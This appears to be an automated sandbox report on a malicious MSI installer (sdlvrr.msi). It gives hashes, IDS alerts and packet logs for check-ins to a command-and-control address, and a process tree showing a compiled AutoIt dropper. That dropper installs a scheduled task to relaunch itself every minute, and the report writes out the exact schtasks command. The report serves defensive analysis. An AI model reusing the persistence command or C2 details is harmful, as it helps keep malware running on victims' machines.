MD5:	B3973958D9FF98310092BCB5E4D1A4EE
SHA1:	07300CB350EA09CAB0618077650413B520B88D95
SHA-256:	B8DBE22108A95C620EF9A917833AF8DD26E2ED2106C1221EBEE6ED98CE22752B
SHA-512:	1283DDAD20D396A5074FDC67958A91934CC73B99A2CA035A3051DF93FAEB315E3C64440B92230901EFE52373AFE6119BEF2396640C5EE4C78DBDFE7BF8543849
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF452888C694CEC694.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1458944438109988
Encrypted:	false
SSDEEP:	48:L6DuQZsrMLFXOxT59e3lhlSzUgYsSzfTl:+DrsTTeVhlYRTY
MD5:	DA3A1FF557C48ED3EB70F408DE86B3D8
SHA1:	D63584EBDD40C7DBB9111A590B8B41A55E05E66F
SHA-256:	29AB99E4DA063BF3D71774C81D761ADC1B44150B25B051F2305645B7B278D1C7
SHA-512:	F8F0CA894F0E72FF087B60BED648F161D607C400EE3C301F96518171A7A661FA70AB8111B032F9C29AB057B41820529C04EBDFD319EDBFE35D398A8E0113539B
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFDC9DDDECCC20DBF2.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF2FF7337FADF7859.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	0.0736555263838163
Encrypted:	false
SSDEEP:	24:ZPA1vb+ipVJ+dipVJ+ZVqKwGZrk62+AO3+:C1T+Sz4SzUgYl2U3+
MD5:	739CD46EF02C75184188B80215391639
SHA1:	4E1ECF1C64291CEB35E3CFD557E619A8601E71C9
SHA-256:	B3DBFD7986D161CA4AFE866AE9EFB6AEE86EE791D9EBD68B36543E09453E1C6E
SHA-512:	6D4F04FFBF98F65A95244E5763388896037C0EE59F494EAEE33B0343D581694C710741986244EBAA8769DE147A2258BC0C2806BF79E363C3E20A7A171E490B15
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, MSI Installer, Code page: 1252, Last Printed: Fri Sep 21 10:56:09 2012, Create Time/Date: Fri Sep 21 10:56:09 2012, Name of Creating Application: Windows Installer, Title: Exe to msi converter free, Author: www.exetomsi.com, Template: ;0, Last Saved By: devuser, Revision Number: {C35CF0AA-9B3F-4903-9F05-EBF606D58D3E}, Last Saved Time/Date: Tue May 21 12:56:44 2013, Number of Pages: 100, Number of Words: 0, Security: 0
Entropy (8bit):	7.7836156225290445
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	sdlvrr.msi
File size:	974'848 bytes
MD5:	3e83644e86d6165d35a80650d01df249
SHA1:	f3f82555822edc27b3ec559686e7d7b23153761b
SHA256:	5cbae41670f29829cbbeb50560a2184385e25c109dcbf3bfcff6656bfc09ae32
SHA512:	02051e5a017af65cdf1adc3680e93362440e60fa85bdad6c49592ed20b7a26b9a9b9ac5b71cc8cd25b5441ea69d60a90e8879674b0546dce00b4a6b8ddb812c3
SSDEEP:	24576:uErhloDX0XOf4Lv6ArAnQ4nCMBBG6e2q7dQGnm2J+SK:uErhloJf3Ar0pBre25G
TLSH:	2E25E1E1A740C4A5E8A795798437CAA76423BE1ECCA84A4C3991FF0F7D723475023D9B
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49984	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49976	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49983	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49985	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49977	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49979	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49980	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49869	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49981	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49982	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49817	172.111.138.100	5552	TCP
2024-12-30T11:35:24.387568+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49929	172.111.138.100	5552	TCP
2024-12-30T11:35:41.848807+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49817	172.111.138.100	5552	TCP
2024-12-30T11:35:51.094216+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49869	172.111.138.100	5552	TCP
2024-12-30T11:36:00.201860+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49929	172.111.138.100	5552	TCP
2024-12-30T11:36:09.217517+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49976	172.111.138.100	5552	TCP
2024-12-30T11:36:18.283230+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49977	172.111.138.100	5552	TCP
2024-12-30T11:36:27.296276+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49979	172.111.138.100	5552	TCP
2024-12-30T11:36:36.378336+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49980	172.111.138.100	5552	TCP
2024-12-30T11:36:45.679041+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49981	172.111.138.100	5552	TCP
2024-12-30T11:36:59.623794+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49982	172.111.138.100	5552	TCP
2024-12-30T11:37:09.091777+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49983	172.111.138.100	5552	TCP
2024-12-30T11:37:18.155276+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49984	172.111.138.100	5552	TCP
2024-12-30T11:37:27.170694+0100	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.9	49985	172.111.138.100	5552	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 11:35:41.843170881 CET	49817	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:35:41.848299026 CET	5552	49817	172.111.138.100	192.168.2.9
Dec 30, 2024 11:35:41.848414898 CET	49817	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:35:41.848807096 CET	49817	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:35:41.853662014 CET	5552	49817	172.111.138.100	192.168.2.9
Dec 30, 2024 11:35:44.002301931 CET	5552	49817	172.111.138.100	192.168.2.9
Dec 30, 2024 11:35:44.002414942 CET	49817	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:35:44.062964916 CET	49817	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:35:44.067873001 CET	5552	49817	172.111.138.100	192.168.2.9
Dec 30, 2024 11:35:51.088294983 CET	49869	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:35:51.093328953 CET	5552	49869	172.111.138.100	192.168.2.9
Dec 30, 2024 11:35:51.093444109 CET	49869	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:35:51.094216108 CET	49869	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:35:51.099096060 CET	5552	49869	172.111.138.100	192.168.2.9
Dec 30, 2024 11:35:53.250422955 CET	5552	49869	172.111.138.100	192.168.2.9
Dec 30, 2024 11:35:53.250495911 CET	49869	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:35:53.252087116 CET	49869	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:35:53.256846905 CET	5552	49869	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:00.196374893 CET	49929	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:00.201329947 CET	5552	49929	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:00.201419115 CET	49929	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:00.201859951 CET	49929	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:00.206677914 CET	5552	49929	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:02.578927994 CET	5552	49929	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:02.579005003 CET	49929	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:02.625499010 CET	49929	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:02.630433083 CET	5552	49929	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:09.212075949 CET	49976	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:09.216892004 CET	5552	49976	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:09.217035055 CET	49976	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:09.217516899 CET	49976	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:09.222383022 CET	5552	49976	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:11.359992981 CET	5552	49976	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:11.360065937 CET	49976	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:11.421736956 CET	49976	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:11.426558018 CET	5552	49976	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:18.277615070 CET	49977	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:18.282558918 CET	5552	49977	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:18.282669067 CET	49977	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:18.283230066 CET	49977	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:18.289098978 CET	5552	49977	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:20.402379036 CET	5552	49977	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:20.402478933 CET	49977	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:20.454220057 CET	49977	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:20.459461927 CET	5552	49977	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:27.290857077 CET	49979	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:27.295766115 CET	5552	49979	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:27.295851946 CET	49979	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:27.296276093 CET	49979	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:27.301095963 CET	5552	49979	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:29.419676065 CET	5552	49979	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:29.419799089 CET	49979	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:29.437378883 CET	49979	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:29.442224026 CET	5552	49979	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:36.366508007 CET	49980	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:36.371532917 CET	5552	49980	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:36.371651888 CET	49980	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:36.378335953 CET	49980	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:36.383153915 CET	5552	49980	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:38.496921062 CET	5552	49980	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:38.497024059 CET	49980	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:38.546729088 CET	49980	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:38.552361012 CET	5552	49980	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:45.673728943 CET	49981	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:45.678550005 CET	5552	49981	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:45.678625107 CET	49981	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:45.679040909 CET	49981	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:45.683841944 CET	5552	49981	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:59.567495108 CET	5552	49981	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:59.567558050 CET	49981	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:59.592952967 CET	49981	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:59.597812891 CET	5552	49981	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:59.618335962 CET	49982	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:59.623193979 CET	5552	49982	172.111.138.100	192.168.2.9
Dec 30, 2024 11:36:59.623297930 CET	49982	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:59.623794079 CET	49982	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:36:59.628649950 CET	5552	49982	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:01.747854948 CET	5552	49982	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:01.747958899 CET	49982	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:01.773617029 CET	49982	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:01.779041052 CET	5552	49982	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:09.082726002 CET	49983	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:09.091135979 CET	5552	49983	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:09.091212034 CET	49983	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:09.091777086 CET	49983	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:09.101357937 CET	5552	49983	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:11.587027073 CET	5552	49983	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:11.587184906 CET	49983	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:11.664946079 CET	49983	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:11.669787884 CET	5552	49983	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:18.149729013 CET	49984	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:18.154710054 CET	5552	49984	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:18.154823065 CET	49984	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:18.155276060 CET	49984	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:18.160110950 CET	5552	49984	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:25.516892910 CET	5552	49984	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:25.517122984 CET	49984	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:25.546705961 CET	49984	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:25.551527023 CET	5552	49984	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:27.165215015 CET	49985	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:27.170103073 CET	5552	49985	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:27.170178890 CET	49985	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:27.170694113 CET	49985	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:27.175461054 CET	5552	49985	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:29.299047947 CET	5552	49985	172.111.138.100	192.168.2.9
Dec 30, 2024 11:37:29.299190998 CET	49985	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:29.358835936 CET	49985	5552	192.168.2.9	172.111.138.100
Dec 30, 2024 11:37:29.363872051 CET	5552	49985	172.111.138.100	192.168.2.9

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 11:35:24.395662069 CET	1.1.1.1	192.168.2.9	0x3ab0	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 30, 2024 11:35:24.395662069 CET	1.1.1.1	192.168.2.9	0x3ab0	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

Target ID:	1
Start time:	05:35:29
Start date:	30/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\sdlvrr.msi"
Imagebase:	0x7ff7f6850000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:35:29
Start date:	30/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff7f6850000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:35:30
Start date:	30/12/2024
Path:	C:\Windows\Installer\MSI4976.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Installer\MSI4976.tmp"
Imagebase:	0x320000
File size:	949'248 bytes
MD5 hash:	8C36CF56C0AA2ED05B8EC53CA0BFBAE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000003.00000002.2616737221.0000000004AC6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	05:35:31
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:35:31
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:35:31
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs
Imagebase:	0x500000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000006.00000002.2614707550.0000000003830000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000006.00000002.2614274905.00000000032A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000006.00000002.2614274905.00000000032C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:35:31
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1
Imagebase:	0x330000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:35:33
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Imagebase:	0xb0000
File size:	949'248 bytes
MD5 hash:	8C36CF56C0AA2ED05B8EC53CA0BFBAE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:35:40
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Windata\SRACMB.exe"
Imagebase:	0xb0000
File size:	949'248 bytes
MD5 hash:	8C36CF56C0AA2ED05B8EC53CA0BFBAE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:35:48
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Windata\SRACMB.exe"
Imagebase:	0xb0000
File size:	949'248 bytes
MD5 hash:	8C36CF56C0AA2ED05B8EC53CA0BFBAE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:35:56
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Windata\SRACMB.exe"
Imagebase:	0xb0000
File size:	949'248 bytes
MD5 hash:	8C36CF56C0AA2ED05B8EC53CA0BFBAE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:36:01
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Imagebase:	0xb0000
File size:	949'248 bytes
MD5 hash:	8C36CF56C0AA2ED05B8EC53CA0BFBAE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:37:00
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
Imagebase:	0xb0000
File size:	949'248 bytes
MD5 hash:	8C36CF56C0AA2ED05B8EC53CA0BFBAE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	39

Executed Functions

Function 0032374E Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,00000001), ref: 0032376D

Part of subcall function 00324257: GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Installer\MSI4976.tmp,00000104,?,00000000,00000001,00000000), ref: 0032428C

IsDebuggerPresent.KERNEL32(?,?), ref: 0032377F
GetFullPathNameW.KERNEL32(C:\Windows\Installer\MSI4976.tmp,00000104,?,003E1120,C:\Windows\Installer\MSI4976.tmp,003E1124,?,?), ref: 003237EE

Part of subcall function 003234F3: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 0032352A

SetCurrentDirectoryW.KERNEL32(?), ref: 00323860
MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,003D2934,00000010), ref: 003921C5
SetCurrentDirectoryW.KERNEL32(?,?), ref: 003921FD
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?), ref: 00392232
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,003BDAA4), ref: 00392290
ShellExecuteW.SHELL32(00000000), ref: 00392297

Part of subcall function 003230A5: GetSysColorBrush.USER32(0000000F), ref: 003230B0
Part of subcall function 003230A5: LoadCursorW.USER32(00000000,00007F00), ref: 003230BF
Part of subcall function 003230A5: LoadIconW.USER32(00000063), ref: 003230D5
Part of subcall function 003230A5: LoadIconW.USER32(000000A4), ref: 003230E7
Part of subcall function 003230A5: LoadIconW.USER32(000000A2), ref: 003230F9
Part of subcall function 003230A5: RegisterClassExW.USER32(?), ref: 00323167

Part of subcall function 00322E9D: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000), ref: 00322ECB
Part of subcall function 00322E9D: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00322EEC
Part of subcall function 00322E9D: ShowWindow.USER32(00000000), ref: 00322F00
Part of subcall function 00322E9D: ShowWindow.USER32(00000000), ref: 00322F09

Part of subcall function 00323598: _memset.LIBCMT ref: 003235BE
Part of subcall function 00323598: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00323667

Strings

This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support., xrefs: 003921BE
runas, xrefs: 0039228B
">, xrefs: 0032379D
C:\Windows\Installer\MSI4976.tmp, xrefs: 003237B4, 003237E9, 003237FD, 00392257

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
